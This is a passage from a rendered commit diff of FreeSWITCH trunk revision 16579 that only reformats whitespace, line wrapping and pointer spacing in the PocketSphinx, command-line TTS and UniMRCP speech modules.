</ins><span class="cx">         switch_clear_flag(ps, PSFLAG_HAS_TEXT);
</span><del>-        if (!switch_test_flag(ps, PSFLAG_READY)) { 
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Manually Resuming\n&quot;);   
-                
</del><ins>+        if (!switch_test_flag(ps, PSFLAG_READY)) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Manually Resuming\n&quot;);
+
</ins><span class="cx">                 if (ps_start_utt(ps-&gt;ps, NULL)) {
</span><span class="cx">                         status = SWITCH_STATUS_GENERR;
</span><span class="cx">                 } else {
</span><del>-                        switch_set_flag(ps, PSFLAG_READY); 
</del><ins>+                        switch_set_flag(ps, PSFLAG_READY);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        switch_mutex_unlock(ps-&gt;flag_mutex);                
</del><ins>+        switch_mutex_unlock(ps-&gt;flag_mutex);
</ins><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -365,7 +360,7 @@
</span><span class="cx"> /*! function to read results from the ASR*/
</span><span class="cx"> static switch_status_t pocketsphinx_asr_get_results(switch_asr_handle_t *ah, char **xmlstr, switch_asr_flag_t *flags)
</span><span class="cx"> {
</span><del>-        pocketsphinx_t *ps = (pocketsphinx_t *) ah-&gt;private_info; 
</del><ins>+        pocketsphinx_t *ps = (pocketsphinx_t *) ah-&gt;private_info;
</ins><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         int32_t conf;
</span><span class="cx"> 
</span><span class="lines">@@ -375,7 +370,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (switch_test_flag(ps, PSFLAG_HAS_TEXT)) {
</span><del>-                switch_mutex_lock(ps-&gt;flag_mutex); 
</del><ins>+                switch_mutex_lock(ps-&gt;flag_mutex);
</ins><span class="cx">                 switch_clear_flag(ps, PSFLAG_HAS_TEXT);
</span><span class="cx">                 conf = ps_get_prob(ps-&gt;ps, &amp;ps-&gt;uttid);
</span><span class="cx"> 
</span><span class="lines">@@ -386,20 +381,18 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Recognized: %s, Confidence: %d\n&quot;, ps-&gt;hyp, ps-&gt;confidence);
</span><del>-                switch_mutex_unlock(ps-&gt;flag_mutex); 
</del><ins>+                switch_mutex_unlock(ps-&gt;flag_mutex);
</ins><span class="cx"> 
</span><span class="cx">                 *xmlstr = switch_mprintf(&quot;&lt;?xml version=\&quot;1.0\&quot;?&gt;\n&quot;
</span><span class="cx">                                                                  &quot;&lt;result grammar=\&quot;%s\&quot;&gt;\n&quot;
</span><span class="cx">                                                                  &quot;  &lt;interpretation grammar=\&quot;%s\&quot; confidence=\&quot;%d\&quot;&gt;\n&quot;
</span><span class="cx">                                                                  &quot;    &lt;input mode=\&quot;speech\&quot;&gt;%s&lt;/input&gt;\n&quot;
</span><del>-                                                                 &quot;  &lt;/interpretation&gt;\n&quot;
-                                                                 &quot;&lt;/result&gt;\n&quot;,
-                                                                 ps-&gt;grammar, ps-&gt;grammar, ps-&gt;confidence, ps-&gt;hyp);
</del><ins>+                                                                 &quot;  &lt;/interpretation&gt;\n&quot; &quot;&lt;/result&gt;\n&quot;, ps-&gt;grammar, ps-&gt;grammar, ps-&gt;confidence, ps-&gt;hyp);
</ins><span class="cx"> 
</span><span class="cx">                 if (switch_test_flag(ps, SWITCH_ASR_FLAG_AUTO_RESUME)) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Auto Resuming\n&quot;);
</span><span class="cx">                         switch_set_flag(ps, PSFLAG_READY);
</span><del>-                
</del><ins>+
</ins><span class="cx">                         ps_start_utt(ps-&gt;ps, NULL);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -467,7 +460,7 @@
</span><span class="cx">                 globals.language_weight = switch_core_strdup(globals.pool, &quot;6.5&quot;);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx">         if (xml) {
</span><span class="cx">                 switch_xml_free(xml);
</span><span class="cx">         }
</span><span class="lines">@@ -495,7 +488,7 @@
</span><span class="cx">         switch_asr_interface_t *asr_interface;
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_init(&amp;MUTEX, SWITCH_MUTEX_NESTED, pool);
</span><del>-        
</del><ins>+
</ins><span class="cx">         globals.pool = pool;
</span><span class="cx"> 
</span><span class="cx">         if ((switch_event_bind_removable(modname, SWITCH_EVENT_RELOADXML, NULL, event_handler, NULL, &amp;NODE) != SWITCH_STATUS_SUCCESS)) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodasr_ttsmod_tts_commandlinemod_tts_commandlinec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/asr_tts/mod_tts_commandline/mod_tts_commandline.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/asr_tts/mod_tts_commandline/mod_tts_commandline.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/asr_tts/mod_tts_commandline/mod_tts_commandline.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -76,7 +76,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (zstr(globals.command)) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;No command set, please edit %s\n&quot;, cf);   
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;No command set, please edit %s\n&quot;, cf);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -96,7 +96,7 @@
</span><span class="cx">         switch_uuid_t uuid;
</span><span class="cx">         char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</span><span class="cx">         char outfile[512] = &quot;&quot;;
</span><del>-        
</del><ins>+
</ins><span class="cx">         tts_commandline_t *info = switch_core_alloc(sh-&gt;memory_pool, sizeof(*info));
</span><span class="cx"> 
</span><span class="cx">         info-&gt;voice_name = switch_core_strdup(sh-&gt;memory_pool, voice_name);
</span><span class="lines">@@ -107,11 +107,11 @@
</span><span class="cx">         switch_uuid_format(uuid_str, &amp;uuid);
</span><span class="cx">         switch_snprintf(outfile, sizeof(outfile), &quot;%s%s.tmp.wav&quot;, SWITCH_GLOBAL_dirs.temp_dir, uuid_str);
</span><span class="cx">         info-&gt;file = switch_core_strdup(sh-&gt;memory_pool, outfile);
</span><del>-        
</del><ins>+
</ins><span class="cx">         info-&gt;fh = (switch_file_handle_t *) switch_core_alloc(sh-&gt;memory_pool, sizeof(switch_file_handle_t));
</span><del>-        
</del><ins>+
</ins><span class="cx">         sh-&gt;private_info = info;
</span><del>-  
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -119,7 +119,7 @@
</span><span class="cx"> {
</span><span class="cx">         tts_commandline_t *info = (tts_commandline_t *) sh-&gt;private_info;
</span><span class="cx">         assert(info != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -129,37 +129,35 @@
</span><span class="cx">         tts_commandline_t *info = (tts_commandline_t *) sh-&gt;private_info;
</span><span class="cx"> 
</span><span class="cx">         assert(info != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         message = switch_core_strdup(sh-&gt;memory_pool, globals.command);
</span><del>-        
</del><ins>+
</ins><span class="cx">         tmp = switch_util_quote_shell_arg(text);
</span><span class="cx">         message = switch_string_replace(message, &quot;${text}&quot;, tmp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         tmp = switch_util_quote_shell_arg(info-&gt;voice_name);
</span><span class="cx">         message = switch_string_replace(message, &quot;${voice}&quot;, tmp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         rate = switch_core_sprintf(sh-&gt;memory_pool, &quot;%d&quot;, info-&gt;rate);
</span><span class="cx">         message = switch_string_replace(message, &quot;${rate}&quot;, rate);
</span><del>-        
</del><ins>+
</ins><span class="cx">         tmp = switch_util_quote_shell_arg(info-&gt;file);
</span><span class="cx">         message = switch_string_replace(message, &quot;${file}&quot;, tmp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Executing: %s\n&quot;, message);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_system(message, SWITCH_TRUE) &lt; 0) {
</span><del>-           switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to execute command: %s\n&quot;, message);
-           return SWITCH_STATUS_FALSE;
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to execute command: %s\n&quot;, message);
+                return SWITCH_STATUS_FALSE;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (switch_core_file_open(info-&gt;fh,
-                                                        info-&gt;file,
-                                                        0, //number_of_channels,
-                                                        0, //samples_per_second,
-                                                        SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
-           switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to open file: %s\n&quot;, info-&gt;file);
-           return SWITCH_STATUS_FALSE;
</del><ins>+        if (switch_core_file_open(info-&gt;fh, info-&gt;file, 0,        //number_of_channels,
+                                                          0,        //samples_per_second,
+                                                          SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to open file: %s\n&quot;, info-&gt;file);
+                return SWITCH_STATUS_FALSE;
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         sh-&gt;private_info = info;
</span><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -170,8 +168,8 @@
</span><span class="cx">         tts_commandline_t *info = (tts_commandline_t *) sh-&gt;private_info;
</span><span class="cx">         size_t my_datalen = *datalen / 2;
</span><span class="cx"> 
</span><del>-        assert(info != NULL);        
-        
</del><ins>+        assert(info != NULL);
+
</ins><span class="cx">         if (switch_core_file_read(info-&gt;fh, data, &amp;my_datalen) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 *datalen = my_datalen * 2;
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -188,7 +186,7 @@
</span><span class="cx"> {
</span><span class="cx">         tts_commandline_t *info = (tts_commandline_t *) sh-&gt;private_info;
</span><span class="cx">         assert(info != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_file_close(info-&gt;fh);
</span><span class="cx">         if (unlink(info-&gt;file) != 0) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Sound file [%s] delete failed\n&quot;, info-&gt;file);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodasr_ttsmod_unimrcpmod_unimrcpc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -138,7 +138,7 @@
</span><span class="cx">         const char *srgs_mime_type;
</span><span class="cx"> };
</span><span class="cx"> typedef struct profile profile_t;
</span><del>-static switch_status_t profile_create(profile_t **profile, const char *name, switch_memory_pool_t *pool);
</del><ins>+static switch_status_t profile_create(profile_t ** profile, const char *name, switch_memory_pool_t *pool);
</ins><span class="cx"> 
</span><span class="cx"> /* Profile events that may be monitored.  Useful for tracking MRCP profile utilization */
</span><span class="cx"> #define MY_EVENT_PROFILE_CREATE &quot;unimrcp::profile_create&quot;
</span><span class="lines">@@ -149,13 +149,18 @@
</span><span class="cx">  * Defines XML parsing instructions
</span><span class="cx">  */
</span><span class="cx"> static switch_xml_config_item_t instructions[] = {
</span><del>-        SWITCH_CONFIG_ITEM_STRING_STRDUP(&quot;max-connection-count&quot;, CONFIG_REQUIRED, &amp;globals.unimrcp_max_connection_count, &quot;100&quot;, &quot;&quot;, &quot;The max MRCPv2 connections to manage&quot;),
</del><ins>+        SWITCH_CONFIG_ITEM_STRING_STRDUP(&quot;max-connection-count&quot;, CONFIG_REQUIRED, &amp;globals.unimrcp_max_connection_count, &quot;100&quot;, &quot;&quot;,
+                                                                         &quot;The max MRCPv2 connections to manage&quot;),
</ins><span class="cx">         /* TODO figure out what this param does */
</span><span class="cx">         SWITCH_CONFIG_ITEM_STRING_STRDUP(&quot;offer-new-connection&quot;, CONFIG_REQUIRED, &amp;globals.unimrcp_offer_new_connection, &quot;1&quot;, &quot;&quot;, &quot;&quot;),
</span><del>-        SWITCH_CONFIG_ITEM_STRING_STRDUP(&quot;default-tts-profile&quot;, CONFIG_REQUIRED, &amp;globals.unimrcp_default_synth_profile, &quot;default&quot;, &quot;&quot;, &quot;The default profile to use for TTS&quot;), 
-        SWITCH_CONFIG_ITEM_STRING_STRDUP(&quot;default-asr-profile&quot;, CONFIG_REQUIRED, &amp;globals.unimrcp_default_recog_profile, &quot;default&quot;, &quot;&quot;, &quot;The default profile to use for ASR&quot;),
-        SWITCH_CONFIG_ITEM_STRING_STRDUP(&quot;log-level&quot;, CONFIG_REQUIRED, &amp;globals.unimrcp_log_level, &quot;WARNING&quot;, &quot;EMERGENCY|ALERT|CRITICAL|ERROR|WARNING|NOTICE|INFO|DEBUG&quot;, &quot;Logging level for UniMRCP&quot;),
-        SWITCH_CONFIG_ITEM_STRING_STRDUP(&quot;enable-profile-events&quot;, CONFIG_REQUIRED, &amp;globals.enable_profile_events_param, &quot;false&quot;, &quot;&quot;, &quot;Fire profile events (true|false)&quot;),
</del><ins>+        SWITCH_CONFIG_ITEM_STRING_STRDUP(&quot;default-tts-profile&quot;, CONFIG_REQUIRED, &amp;globals.unimrcp_default_synth_profile, &quot;default&quot;, &quot;&quot;,
+                                                                         &quot;The default profile to use for TTS&quot;),
+        SWITCH_CONFIG_ITEM_STRING_STRDUP(&quot;default-asr-profile&quot;, CONFIG_REQUIRED, &amp;globals.unimrcp_default_recog_profile, &quot;default&quot;, &quot;&quot;,
+                                                                         &quot;The default profile to use for ASR&quot;),
+        SWITCH_CONFIG_ITEM_STRING_STRDUP(&quot;log-level&quot;, CONFIG_REQUIRED, &amp;globals.unimrcp_log_level, &quot;WARNING&quot;,
+                                                                         &quot;EMERGENCY|ALERT|CRITICAL|ERROR|WARNING|NOTICE|INFO|DEBUG&quot;, &quot;Logging level for UniMRCP&quot;),
+        SWITCH_CONFIG_ITEM_STRING_STRDUP(&quot;enable-profile-events&quot;, CONFIG_REQUIRED, &amp;globals.enable_profile_events_param, &quot;false&quot;, &quot;&quot;,
+                                                                         &quot;Fire profile events (true|false)&quot;),
</ins><span class="cx">         SWITCH_CONFIG_ITEM_END()
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="lines">@@ -243,7 +248,7 @@
</span><span class="cx"> };
</span><span class="cx"> typedef struct audio_queue audio_queue_t;
</span><span class="cx"> 
</span><del>-static switch_status_t audio_queue_create(audio_queue_t **queue, const char *name, switch_memory_pool_t *pool);
</del><ins>+static switch_status_t audio_queue_create(audio_queue_t ** queue, const char *name, switch_memory_pool_t *pool);
</ins><span class="cx"> static switch_status_t audio_queue_write(audio_queue_t *queue, void *data, switch_size_t *data_len);
</span><span class="cx"> static switch_status_t audio_queue_read(audio_queue_t *queue, void *data, switch_size_t *data_len, int block);
</span><span class="cx"> static switch_status_t audio_queue_clear(audio_queue_t *queue);
</span><span class="lines">@@ -323,11 +328,14 @@
</span><span class="cx"> 
</span><span class="cx"> /* speech channel interface for UniMRCP */
</span><span class="cx"> static apt_bool_t speech_on_session_terminate(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status);
</span><del>-static apt_bool_t speech_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status);
-static apt_bool_t speech_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status);
</del><ins>+static apt_bool_t speech_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel,
+                                                                                mrcp_sig_status_code_e status);
+static apt_bool_t speech_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel,
+                                                                                   mrcp_sig_status_code_e status);
</ins><span class="cx"> 
</span><span class="cx"> /* speech_channel funcs */
</span><del>-static switch_status_t speech_channel_create(speech_channel_t **schannel, const char *name, speech_channel_type_t type, mod_unimrcp_application_t *app, uint16_t rate, switch_memory_pool_t *pool);
</del><ins>+static switch_status_t speech_channel_create(speech_channel_t ** schannel, const char *name, speech_channel_type_t type, mod_unimrcp_application_t *app,
+                                                                                         uint16_t rate, switch_memory_pool_t *pool);
</ins><span class="cx"> static mpf_termination_t *speech_channel_create_mpf_termination(speech_channel_t *schannel);
</span><span class="cx"> static switch_status_t speech_channel_open(speech_channel_t *schannel, profile_t *profile);
</span><span class="cx"> static switch_status_t speech_channel_destroy(speech_channel_t *schannel);
</span><span class="lines">@@ -369,7 +377,8 @@
</span><span class="cx"> 
</span><span class="cx"> /* synthesizer specific speech_channel funcs */
</span><span class="cx"> static switch_status_t synth_channel_speak(speech_channel_t *schannel, const char *text);
</span><del>-static switch_status_t synth_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr, mrcp_synth_header_t *synth_hdr);
</del><ins>+static switch_status_t synth_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr,
+                                                                                                mrcp_synth_header_t *synth_hdr);
</ins><span class="cx"> static switch_status_t synth_channel_set_header(speech_channel_t *schannel, int id, char *val, mrcp_message_t *msg, mrcp_synth_header_t *synth_hdr);
</span><span class="cx"> 
</span><span class="cx"> /*********************************************************************************************************************************************
</span><span class="lines">@@ -407,7 +416,7 @@
</span><span class="cx"> };
</span><span class="cx"> typedef struct grammar grammar_t;
</span><span class="cx"> 
</span><del>-static switch_status_t grammar_create(grammar_t **grammar, const char *name, grammar_type_t type, const char *data, switch_memory_pool_t *pool);
</del><ins>+static switch_status_t grammar_create(grammar_t ** grammar, const char *name, grammar_type_t type, const char *data, switch_memory_pool_t *pool);
</ins><span class="cx"> static const char *grammar_type_to_mime(grammar_type_t type, profile_t *profile);
</span><span class="cx"> 
</span><span class="cx"> /*********************************************************************************************************************************************
</span><span class="lines">@@ -432,7 +441,7 @@
</span><span class="cx"> typedef struct recognizer_data recognizer_data_t;
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t recog_load(switch_loadable_module_interface_t *module_interface, switch_memory_pool_t *pool);
</span><del>-static switch_status_t recog_shutdown() ;
</del><ins>+static switch_status_t recog_shutdown();
</ins><span class="cx"> 
</span><span class="cx"> /* recognizer's interface for FreeSWITCH */
</span><span class="cx"> static switch_status_t recog_asr_open(switch_asr_handle_t *ah, const char *codec, int rate, const char *dest, switch_asr_flag_t *flags);
</span><span class="lines">@@ -466,7 +475,8 @@
</span><span class="cx"> static switch_status_t recog_channel_start_input_timers(speech_channel_t *schannel);
</span><span class="cx"> static switch_status_t recog_channel_set_results(speech_channel_t *schannel, const char *results);
</span><span class="cx"> static switch_status_t recog_channel_get_results(speech_channel_t *schannel, char **results);
</span><del>-static switch_status_t recog_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr, mrcp_recog_header_t *recog_hdr);
</del><ins>+static switch_status_t recog_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr,
+                                                                                                mrcp_recog_header_t *recog_hdr);
</ins><span class="cx"> static switch_status_t recog_channel_set_header(speech_channel_t *schannel, int id, char *val, mrcp_message_t *msg, mrcp_recog_header_t *recog_hdr);
</span><span class="cx"> static switch_status_t recog_channel_set_timers_started(speech_channel_t *schannel);
</span><span class="cx"> 
</span><span class="lines">@@ -478,13 +488,13 @@
</span><span class="cx">  * @param pool the memory pool to use
</span><span class="cx">  * @return SWITCH_STATUS_SUCCESS if the profile is created
</span><span class="cx">  */
</span><del>-static switch_status_t profile_create(profile_t **profile, const char *name, switch_memory_pool_t *pool)
</del><ins>+static switch_status_t profile_create(profile_t ** profile, const char *name, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         profile_t *lprofile = NULL;
</span><span class="cx">         switch_event_t *event = NULL;
</span><del>-        
-        lprofile = (profile_t *)switch_core_alloc(pool, sizeof(profile_t));
</del><ins>+
+        lprofile = (profile_t *) switch_core_alloc(pool, sizeof(profile_t));
</ins><span class="cx">         if (lprofile) {
</span><span class="cx">                 lprofile-&gt;name = switch_core_strdup(pool, name);
</span><span class="cx">                 lprofile-&gt;srgs_mime_type = &quot;application/srgs&quot;;
</span><span class="lines">@@ -501,7 +511,7 @@
</span><span class="cx">                 *profile = NULL;
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -527,7 +537,7 @@
</span><span class="cx">                 /* is there a match? */
</span><span class="cx">                 result = textlen &gt; matchlen &amp;&amp; !strncmp(match, text, matchlen);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return result;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -539,7 +549,7 @@
</span><span class="cx">  * @param pool memory pool to allocate queue from 
</span><span class="cx">  * @return SWITCH_STATUS_SUCCESS if successful.  SWITCH_STATUS_FALSE if unable to allocate queue
</span><span class="cx">  */
</span><del>-static switch_status_t audio_queue_create(audio_queue_t **audio_queue, const char *name, switch_memory_pool_t *pool)
</del><ins>+static switch_status_t audio_queue_create(audio_queue_t ** audio_queue, const char *name, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         audio_queue_t *laudio_queue = NULL;
</span><span class="lines">@@ -555,7 +565,7 @@
</span><span class="cx">                 lname = switch_core_strdup(pool, name);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if ((laudio_queue = (audio_queue_t *)switch_core_alloc(pool, sizeof(audio_queue_t))) == NULL) {
</del><ins>+        if ((laudio_queue = (audio_queue_t *) switch_core_alloc(pool, sizeof(audio_queue_t))) == NULL) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;(%s) unable to create audio queue\n&quot;, lname);
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="lines">@@ -580,10 +590,9 @@
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
</span><span class="cx">         flags = SWITCH_FOPEN_CREATE | SWITCH_FOPEN_WRITE | SWITCH_FOPEN_TRUNCATE | SWITCH_FOPEN_BINARY;
</span><del>-        strcpy(laudio_queue-&gt;file_read_name, &quot;/tmp/mod_unimrcp_rx_XXXXXX&quot;);        
</del><ins>+        strcpy(laudio_queue-&gt;file_read_name, &quot;/tmp/mod_unimrcp_rx_XXXXXX&quot;);
</ins><span class="cx">         if (switch_file_mktemp(&amp;laudio_queue-&gt;file_read, laudio_queue-&gt;file_read_name, flags, pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;(%s) unable to create audio queue read file\n&quot;, laudio_queue-&gt;name);
</span><span class="cx">                 laudio_queue-&gt;file_read = NULL;
</span><span class="lines">@@ -605,7 +614,7 @@
</span><span class="cx">         *audio_queue = laudio_queue;
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) audio queue created\n&quot;, laudio_queue-&gt;name);
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 audio_queue_destroy(laudio_queue);
</span><span class="lines">@@ -636,7 +645,8 @@
</span><span class="cx">         if (switch_buffer_write(queue-&gt;buffer, data, *data_len) &gt; 0) {
</span><span class="cx">                 queue-&gt;write_bytes = queue-&gt;write_bytes + *data_len;
</span><span class="cx"> #ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) audio queue write total = %ld\trequested = %ld\n&quot;, queue-&gt;name, queue-&gt;write_bytes, *data_len);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) audio queue write total = %ld\trequested = %ld\n&quot;, queue-&gt;name, queue-&gt;write_bytes,
+                                                  *data_len);
</ins><span class="cx"> #endif
</span><span class="cx">                 if (queue-&gt;waiting &lt;= switch_buffer_inuse(queue-&gt;buffer)) {
</span><span class="cx">                         switch_thread_cond_signal(queue-&gt;cond);
</span><span class="lines">@@ -676,7 +686,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 queue-&gt;waiting = 0;
</span><span class="cx">         }
</span><del>-                
</del><ins>+
</ins><span class="cx">         if (switch_buffer_inuse(queue-&gt;buffer) &lt; requested) {
</span><span class="cx">                 requested = switch_buffer_inuse(queue-&gt;buffer);
</span><span class="cx">         }
</span><span class="lines">@@ -690,14 +700,15 @@
</span><span class="cx">         *data_len = switch_buffer_read(queue-&gt;buffer, data, requested);
</span><span class="cx">         queue-&gt;read_bytes = queue-&gt;read_bytes + *data_len;
</span><span class="cx"> #ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) audio queue read total = %ld\tread = %ld\trequested = %ld\n&quot;, queue-&gt;name, queue-&gt;read_bytes, *data_len, requested);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;(%s) audio queue read total = %ld\tread = %ld\trequested = %ld\n&quot;, queue-&gt;name,
+                                          queue-&gt;read_bytes, *data_len, requested);
</ins><span class="cx">         switch_size_t len = *data_len;
</span><span class="cx">         if (queue-&gt;file_read) {
</span><span class="cx">                 switch_file_write(queue-&gt;file_read, data, &amp;len);
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(queue-&gt;mutex);
</span><span class="cx">         return status;
</span><span class="lines">@@ -768,13 +779,14 @@
</span><span class="cx">  * @param pool the memory pool to use
</span><span class="cx">  * @return SWITCH_STATUS_SUCCESS if successful.  SWITCH_STATUS_FALSE if the channel cannot be allocated.
</span><span class="cx">  */
</span><del>-static switch_status_t speech_channel_create(speech_channel_t **schannel, const char *name, speech_channel_type_t type, mod_unimrcp_application_t *app, uint16_t rate, switch_memory_pool_t *pool)
</del><ins>+static switch_status_t speech_channel_create(speech_channel_t ** schannel, const char *name, speech_channel_type_t type, mod_unimrcp_application_t *app,
+                                                                                         uint16_t rate, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         speech_channel_t *schan = NULL;
</span><span class="cx">         *schannel = NULL;
</span><span class="cx"> 
</span><del>-        if ((schan = (speech_channel_t *)switch_core_alloc(pool, sizeof(speech_channel_t))) == NULL) {
</del><ins>+        if ((schan = (speech_channel_t *) switch_core_alloc(pool, sizeof(speech_channel_t))) == NULL) {
</ins><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="lines">@@ -785,10 +797,10 @@
</span><span class="cx">         schan-&gt;memory_pool = pool;
</span><span class="cx">         schan-&gt;params = NULL;
</span><span class="cx">         schan-&gt;rate = rate;
</span><del>-        schan-&gt;silence = 0; /* L16 silence sample */
</del><ins>+        schan-&gt;silence = 0;                        /* L16 silence sample */
</ins><span class="cx">         schan-&gt;channel_opened = 0;
</span><span class="cx"> 
</span><del>-        if (switch_mutex_init(&amp;schan-&gt;mutex, SWITCH_MUTEX_UNNESTED, pool) != SWITCH_STATUS_SUCCESS || 
</del><ins>+        if (switch_mutex_init(&amp;schan-&gt;mutex, SWITCH_MUTEX_UNNESTED, pool) != SWITCH_STATUS_SUCCESS ||
